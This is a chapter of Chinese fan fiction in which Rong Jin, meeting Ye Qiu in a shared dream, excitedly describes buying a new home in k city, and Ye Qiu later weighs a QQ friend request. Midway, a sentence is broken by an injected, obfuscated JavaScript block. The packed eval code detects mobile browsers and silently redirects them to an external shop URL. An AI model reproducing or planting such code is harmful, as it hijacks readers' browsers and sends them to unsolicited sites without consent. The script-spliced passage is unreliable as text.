“叶秋，我搬进新家了！”
顶着出现频率比较高、大约是队员的身份在战队训练室看到叶秋时，容谨非常高兴地跑了过去。
如果现在窗外有太阳，他肯定得张开双臂拥抱太阳庆祝一下。
可惜是晚上，不仅没有太阳，窗帘还拉得死死的。
叶秋今天没戴耳机，电脑屏幕桌面待机。
他窝在椅子里抽着烟，似乎在休息，从容谨推门时脑袋就转了过来，神情懒洋洋的。
容谨很喜欢每次都能在训练室看见叶秋的安心感。
一下就能找到人。
而且，他不想进入叶秋很私人的记忆里去窥探到什么秘密，或者撞见叶秋的人际关系。
这种恰到好处的只有一个人的公共空间就非常美妙。
“恭喜。”叶秋说。
“同喜同喜！”容谨不过脑子地回。
没想到今天会这么早进来梦里，叶秋居然在十点钟就睡觉了。
他还因为买房搬家的亢奋得睡不着，即使没什么要做的事了，还在那看吉他谱，预备着晚上再练一段，恰好深夜跟音乐很相配。
别说，叶秋睡觉时间还挺巧，再晚点他就得在客厅沙发上盖着吉他过夜了。
不过容谨此刻没空去感叹这点幸运。
他已经迫不及待想把这份喜悦分享给叶秋了。
“昨天不是说想买房吗，我今天一睡醒，乱翻全国的房源信息，太多太杂了，根本选不出来。”
容谨语调抑扬顿挫的。
“我一想，这样不行啊，首先得看我有什么需求，才能决定我住在哪，找什么房子。”
叶秋对这件事本身不算感兴趣，但容谨情绪太高涨了，讲话跟讲相声一样，还营造悬念，听得他有点想笑。
不过，他记得这两天容谨都在，没跟他请过假，开影分-身术跑去买房的？
叶秋没问，很捧场地鼓了鼓掌：“思路很清晰嘛，什么需求？”
“首先！”容谨得到回应，嘴角立刻翘起来了，他竖起食指晃了晃，“冬天这么冷，我得去一个温暖的地方买房，对吧？”
“太有道理了。”如果容谨影分-身没跑国外去的话，叶秋倒是能猜到，“y省？”
“对！是k市！”在外面跑来跑去玩了这么久，容谨渐渐习惯这个世界城市名的叫法，在脑内换算一下称呼就好了，他有理有据地说：“k市的四季如春可是上过课本的！”
叶秋想到飞k市去百花主场打比赛。
常年待在室内，出去比赛时除了场馆就是酒店，没时间也没兴趣去玩。
要说气候好处的话，到那边可以少带点换洗衣物。
他点点头，表示赞同。顺手把烟灰磕进烟灰缸。
容谨不喜欢二手烟，室外还好，室内难以消散。
但，是他闯进叶秋的地盘，又是梦里，就当是场景元素了。
视线下意识跟着烟头那点红色飘过去，落在叶秋无论敲键盘还是抽烟都稳稳的手上，思维莫名其妙地岔了一下。
“叶秋，你会弹钢琴吗？”
“会一点。”
“太对了！”
“对啥？”叶秋笑道，“你从哪里看出我有钢琴家的气质了？”
“家长们不是普遍有个刻板印象嘛，看见小孩手长得好看手指长就说你家小孩适合弹钢琴。”容谨说，“你的手特别符合，然后你还真会，这算不算刻板印象加深了？”
“那你会弹钢琴吗？”
“我？我会弹吉他。小学音乐课学过一点钢琴，早忘了。”
叶秋语气悠然：“喏，刻板印象打破了。”
打职业的难免会注意到别人的手。
不过不是像容谨这样，看人手长得好不好看。
是手的大小手指长短会影响到覆盖键盘按键的范围。
常规体型还好，要是年纪太小还没发育起来或因体型太小导致的手小，就需要更高手速来弥补这种差距了，那样会更加消耗精力。
当然，还可以通过专门定制符合手型的键盘来解决。
他还是第一次发现容谨长了双一眼就觉得漂亮的好手……怎么好像没有这双手在键盘上敲打的印象，手速多少来着……
叶秋还没深想下去，容谨已恍然大悟地鼓起掌，“您真会夸人。”
“您也不赖。”本就是休息时间，叶秋没继续琢磨游戏的事，把跑得没边的话题拉了回来，“房子，然后呢？”
“哦哦哦，房子，除了气候温暖外，我还有个条件嘛，我想在里头过年。”
“时间挺紧，装修都来不及吧？”
“是啊，所以就只能选现成的二手房和精装修新房了。精装修其实感觉太样板间了，有股酒店味，冷冰冰的。二手房的话我又希望是原主人一家没怎么住过的，能少点别人生活过的痕迹。”
叶秋一听话音就知道容谨选的是哪种了，想过年前住进去，还不想冷冰冰的，不就是想要家的温暖感觉吗？
年纪轻轻的，不知道怎么就追求这个了。
每个人都有秘密，尤其是这种一看就有家不能回或者无家可归的，他无意探究。
不需要他接话，容谨已高高兴兴地顺着往下说。
“相应的房源特别多，我找了家评价很好搜着没有黑料的中介公司，说今天就能看，我就直接飞过去了。”
影分-身术飞过去的？叶秋就当陪乖巧后辈畅想人生侃大山了：“你知道怎么看房吗？别光听人介绍，靠这个赚钱的肯定都给你说优点。”
“不会不会。”容谨一挥手，“中介是我老粉。她把优缺点说得可仔细了，我压根不会看水电软装硬装牌子品质那什么东西的，只会看好不好看，全靠她了。”
连看个房遇忠实粉丝都想出来了，还老粉，打过几场比赛就有老粉了。叶秋没看出容谨还挺自恋，“嗯……挺好的。”
容谨倒不觉得这有什么需要多说的，这一路出行到处都是粉丝，中介公司里一堆，就算不是至少认识他。
嗯，反正全世界都是伪人般的好人。
他早习惯了。
还是去到自己想定居的、将有个家的城市更令他兴奋，和以往到陌生城市旅游的感觉截然不同。
他攒了一肚子的话，此刻滔滔不绝地往外涌。
“一下飞机，哇，那个天好蓝！我今天去的特别好，老天都在欢迎我，出了个大太阳，一下就有春城的明媚感了。
“打车司机一说，我才知道k市气候好归好，其实是总体温度比较高，平时经常下雨的，白天夜晚温差有点大。这只是要注意的地方，住起来还是很舒服的。
“冬天也是会冷的，要穿棉衣羽绒服，但比外地要暖和，穿得少。
“然后这边房子是不装空调的，要喝水的话都是买水喝，平时用的自来水水质会比较硬。我看的房子装修都是很好的，有装空调和净水器，不过还是建议我自来水只拿来用就行了。
“看一套高层房子的时候，正好外面在刮风，房子里风声很大，而且就好像楼在摇一样，有点那种轻微的不稳的感觉，不知道是不是我的错觉。”
说到这里，容谨摇了摇头，“这睡得太没安全感了，会做噩梦的。”
叶秋越听越迷糊。
幻想还带真实细节的？
这听起来可不像是没去过本地的人能注意到的事，讲起来身临其境的感慨样子跟想象沾不上边。
“我也喜欢住低层。”叶秋说。原因很简单，低层出门不需要等电梯，省事。但中低层纯走楼梯的就算了，还是电梯省事。
“英雄所见略同！”容谨一把抓住叶秋的手，星星眼看着他，“现在城市里修的都是高楼大厦，新小区房子好多都是高层的。
“但我就喜欢低层，一栋楼总共五六层那种房子，老点旧点都没事，树多点小区里外餐饮店多点就行，当然，快递点就在楼下是最好了！”
容谨说的完全就是他自己从小住到大的家，普通的老小区。
原本是造纸厂的家属房，后来造纸厂倒了，房子依旧是这些人住着，来来往往有些买的卖的搬来的搬走的，但大多数都是从小认识的邻里邻居。
跟现在的小区一比，别说门禁保安了，连围墙都没有，四面八方想从哪进从哪进，容谨打哪个方向回去都能遇到一堆熟人。
然而在这边买房不能这么买。
贸然进入一个完全陌生的熟人小社会，还不如选择更符合年轻人独居习惯、住上几年可能都不知道邻居是男是女的现代小区了。
叶秋突然被捉住搭在扶手上的左手，感觉跟被狗薅了两爪子似的。
这个热情劲确实很像。
容谨忘了松开，叶秋忘了挣脱——他对容谨的接触下意识很适应，不会觉得两个男人握手时间太长很奇怪，还是这种肉麻到起鸡皮疙瘩的双手抓着他一只手的方式——对上容谨闪亮到像是能发射光波的眼睛，不由侧了下眼神。
“……那你是买在低层了？”
“不算低吧，总共二十多层，我买在八层。那套房子是最符合的了，我超级喜欢里面那个书房，面积大，还装了一个我梦想中的整面墙式的书柜，顶层甚至要踩梯子才能拿到书。”
“你是不是很喜欢图书馆？”
“对，我读书时经常去图书馆借书看，也经常去书店里看书，那种被满满当当的书架和书的味道包围的感觉好治愈。后来我没那么爱看书了，手机电脑太好用了，但我依然很喜欢很多书的环境。”
特别是网上那些大图书馆的照片，有个离大学近的容谨实地去看过，哇，那种仿佛被书海包围的感觉简直了！
叶秋见容谨满脸怀念，提醒道：“爱看书是好事，但别光看书，多打打游戏。”
容谨：“……”
容谨一言难尽：“话是这么说的吗？”
“职业选手不打游戏才完蛋了，不要荒废事业啊，就算放假回家也要保持训练，我会检查的。”烟快燃完了，叶秋按灭在烟灰缸里，顺便把手搁在桌上，“直接买了？”
“直接买了。房产证下来没那么快，办手续挺快的，时间赶得特别好，人家还没放假下班，一下就办好了。”
容谨说，“我行李都带过去了，里面家电齐全都是新的，干脆直接入住。中介那边给我介绍了一个保洁团队，人家搞大扫除时我就出门买东西。”
他没说中介其实更建议他买独栋别墅，只是他住惯了平层，哪怕不打算跟邻居往来，周围有人也是人气。
他不想自己一个人孤零零住一栋楼里。
至于中介所说的他住这种地方很没隐私性，也没什么安保，容谨完全没放在心上。
系统大手下，这个世界哪有什么坏人？
容谨对自己热度还是有点概念的。
在围脖上发条视频的热度已经被穿越过来前的顶流转评赞数量还恐怖多了，还都是活人，还要考虑到现在网民没有以后网络发达时那么多。
这种情况下他出门都没有造成过被堵得动不了的场面，还不是那个人生赢家mod在他职业任务人气达标后陆陆续续给的奖励造成的。
什么“公众好感度”“粉丝群体素质提升”“初始好感度光环”等等等等。
都不像是给主播的了，像培养拥有无数高素质粉丝的世界巨星。
至于别人粉丝找他粉丝掐架，看过他不就是他路人粉了吗，那也打不起来啊。真打起来他粉丝是圈内友好，又不是任人捏的软柿子。
总之画风和谐到非常魔幻。
因此，除了到处都能碰到粉丝外，哪怕知道自己热度高，容谨也不太有自己约等于当红巨星的自觉。
在他意识里，自己就跟大学里那堆举着手机到处拍视频搞直播当副业来赚点零用钱的学生是一样的。
“我去逛附近那个商场，大是挺大，其实商场都那样，没什么特别的，但人好多，人一多就感觉特热闹，特有年味。
“大家都放假了，出来逛街买年货，还给我推荐很好吃的当地特产。
“我买了好多东西，拿都拿不了，还好有送货□□，知道有这个后就买了更多了。
“我还买了个按摩椅，每次用完电脑后肩背就有点僵硬，其实我觉得你也需要这个，但我不确定你宿舍能不能放，能的话我就订下了。”
叶秋已经不去思考容谨是不是真的有个影分-身在k市买房买年货了，他随口道：“买东西还惦记我，谢谢啊。”
“应该的，”容谨表情格外认真，“虽然我们可能这辈子都成不了朋友，但能碰到你就很开心了。”
这种感动简直比神人辈出路过的狗都要被踹一脚扒开嘴往里面倒一碗屎——等等，对狗来说是不是不算惩罚，可对人来说完全是无妄之灾啊——的恐怖网络环境里遇到一个正常人，还要感动十倍！
对容谨来说，这个世界大家对他外貌搞得像掉san一样的追捧包容程度，呈现出来的效果让他也很掉san的分不清真假虚实，比他原世界到处是抽象和造屎的网络乘十倍还要可怕。
叶秋默了下，“为什么成不了？”
倒不是说他一定要和容谨交朋友——成年人交朋友不就是认识后处得来自然而然就是朋友了吗，搞得这么正式真让人受不了——但容谨这副他们之间存在着无法解决的深深隔阂的样子，让叶秋不由怀疑他们之间是不是有什么他不知道的血海深仇。
指网游里。
看容谨凑上来跟他分享私事的样子，也不像是被训怕了不敢搭话。
容谨用深沉的口吻说，“因为我们的关系很复杂，不是那么简单的事情，要交朋友是需要慎重考虑的。”
队长跟队员的关系很复杂……吗？
“等你到我这个年纪就明白，诶呀！”
叶秋敲了容谨额头一下，“我还不想这么早到你这个年纪哈。”
“那之后你就会知道了。”容谨对梦中的和醒后的叶秋同时说道。“我还没说完我的新家呢！”
叶秋觉得他可能需要再点一根烟，听小朋友在他面前讲长长的故事。
这话痨程度已经远超黄少天了，胜在内容比只需要抓取关键词其它可以左耳朵进右耳朵出的废话有意思。
而且，和单纯话多不一样，容谨是太兴奋了，太想把这天发生的一切都分享给他。
虽然摸不清头脑，但叶秋并不讨厌容谨纯粹热烈、像把刚得到的最珍贵礼物分享给
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809312|210776||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
好朋友的孩子气模样。
容谨已想到他添置的物品，不仅仅是年货。
“之前不是想买吉他没买吗，这次买了，那个配色超级漂亮！就是漆要小心点用，容易刮花。
“k市花好多，我还没去看花市呢，但小区里光花店就有三家，真稀奇，以前我都没见过这么多花店，没想到冬天有那么多花，还那么便宜。
“我买了好几个漂亮的花瓶，大的小的都有，把花插进去，整个家都变得好精致。
“顶上那个灯光一照，跟网上那种温馨小屋一模一样。
“真的，我好开心啊！”
说到这里，容谨不自觉凑近了叶秋。
那种过度的兴奋仍萦绕在他周围，丝毫没有消散，使他漆黑的眼睛都明亮透彻地像两颗泡在水中的黑玉，漾着能叫任何人露出笑容的微光。
“我特别想分享给你，还想请你来我家一起吃顿饭。我只会做点简单的菜，但你想吃什么我都可以买。
“不过我知道你时间不方便，咱俩关系也不方便，能这么告诉你就很好了！”
叶秋忽然感觉到一种烫意。
不仅仅是从容谨的眼神中传递过来的，也不仅仅是握住他的双手上传递过来的。
他突然意识到他的手还被牵着，但这时候显然不适合抽回来。
那会让容谨觉得被拒绝。
如果要拒绝，叶秋从一开始就不会让这个话题展开，不断拉回来，再没完没了地继续下去。
“有什么不方便的？”叶秋看着容谨那双简直是被迸发的喜悦渲染得流光溢彩的眼睛，似乎和往常一样泰然自若，“这么大的好事，肯定得庆祝一下。这个点没什么饭店开门了，请你吃烧烤去。”
容谨握着那只手上下摇了摇，感动极了。
“叶秋，你人真好！你甚至为了我放弃了加班！”
“想多了，”叶秋无情地打破了容谨的幻想，“本来今天就打算早点休息的。”
叶秋作息其实挺规律。
对职业选手、尤其是像他这样打了这么多年的职业选手来说，注意健康才能更长久的打下去。
只是要做的事情太多，时间总是不够用，才从本该规律的早睡早起变成了规律的晚睡早起。
容谨却不介意，“那不是更好了吗！刚好我来找你分享好消息，你就正好休息有空。”
他欢呼：“好耶！双喜临门！”
叶秋拎起搭在椅背的外套，左手略微活动了一下，那种被温度更高的手过久握着的热意没有消散，反而在松开后变得更加明显了。
他愣了下神，容谨已把两把电脑椅归位，又冲到前头去为他打开训练室大门做侍者迎客状。
叶秋有点好笑地看着耍宝的容谨。性格还挺活泼。战队里少见这样的年轻队员，下班后别说凑过来，不绕着他走就不错了。对了，容谨是玩什么职业的来着……
他思索着，渐渐皱起眉头，手下锁着训练室的门，视野被挡了一下，是容谨凑过来看。
“好了吗好了吗？”
“好了。”
这会功夫，容谨在他旁边已经绕了两个来回。
简直有一股巨大的热情充盈体内，片刻都闲不下来。
有家了，的确值得高兴。
虽然容谨这状态兴奋过头了。
叶秋拍了拍容谨脑袋，示意他收敛点，却只得到一张阳光明媚似乎快乐流淌不尽的脸，相貌里自带那点鬼味被冲得无影无踪。
没有谁能不被这样的神情感染到。
更像小狗了。
走廊声控灯被一急一缓的脚步声踩亮，叶秋听见容谨低低地在哼歌，节奏明快，脖颈后略长的头发微微晃荡着。
他的脚步不由也轻快了些。
……
梦里的叶秋不清楚的事，梦外的叶秋却是知道的。
毕竟他初遇容谨时，就觉得这是个离家出走的少年。除了不符合季节的衣物外，还有种暂时无家可归的感觉。
难怪买房那么兴奋了。
行动力够强的。
叶秋却不看好这件事。
他离家出走这么多年，想回去随时都能回去，很清楚不是有了房子就能叫做家的。
虽然不知道容谨为什么不回家，可买房子对容谨来说跟花钱在酒店开了间房没有区别。
没有经过攒钱付出心血和努力、寄托改变人生状态命运的房子，本身不具有特殊的意义，只是个比酒店更私人的落脚处。
偏偏容谨又是很看重情绪价值的类型。
等容谨意识到他的房子里没有家人，其实和酒店长租差别不大，就会期望越高，失望越大。
叶秋登上qq，看着好友申请里那个简笔画猫猫的头像和“我是容谨”的备注。
之前容谨的qq号他醒来后记住了，但他没去加。容谨在梦里拿到了他的qq号来加他，他也没通过。
他们最大的问题就是无法交流。
一交流就跑床上去了。
可要像容谨那样笃定似乎他们就只能在梦中自由对话，一辈子都成不了朋友，叶秋也不觉得到这个程度。
容谨走的时候不是很干净利落吗？看起来已经被做怕了。好巧，他也怕一天啥事不干全花在这上面了。
一开始在梦里容谨是想和他解决掉做梦这件事的样子。
怎么突然想跟他交朋友了？
叶秋上网搜了下“容谨朋友”。
蹦出来的消息五花八门一大堆，很多都是以朋友身份陪伴容谨发展成恋人关系的粉丝创作图文视频，还有一些是打着这个旗号蹭热度被骂得狗血淋头的账号。
看下来，一个容谨的真实朋友都没有。
甚至在当主播之后从同行里发展出来的新朋友都没有，被称为“绝缘型主播”。
只直播自己的事，从不打pk，也不跟其他主播连线。很少透露自己现实里的交际圈关系。直播平台账号关注只有公司官方账号。游戏账号上买的基本全是单机游戏，没有跟其他账号一起玩的记录。
简单来说，这人不止像是没有朋友，更像是人际关系上与世隔绝了。那些旅游时跟店家行人的往来和直播时与粉丝的互动，全都是浅社交。
也太孤僻了吧。
看容谨不是这种性格的啊。
对他有雏鸟情结？
晚了这么久才来吗？
而且他们这说是雏鸟情结也太怪了，处男情结还差不多。
不论如何，叶秋能确定的一点是：容谨不是突然喜欢上他，想的只是和他交朋友，并且已经默认以他们这种情况，这个朋友是交不上的。
那他自己呢？
单纯说不可抗力下发生的事，叶秋其实没什么感觉。身体上舒服，也就仅此而已了。一场双方都不愿意看见的乌龙，不必根据这个去要求对方什么。很明显，容谨态度是一样的。
如果再来几次，依旧是这么回事，不会发生变化。
但是。
叶秋点了根烟。
从梦里飘到现实的那点烫意停留在他胸口，微弱到似乎随时都会熄灭。
他把鼠标从主动申请待添加好友的“同意”上挪开，退出qq。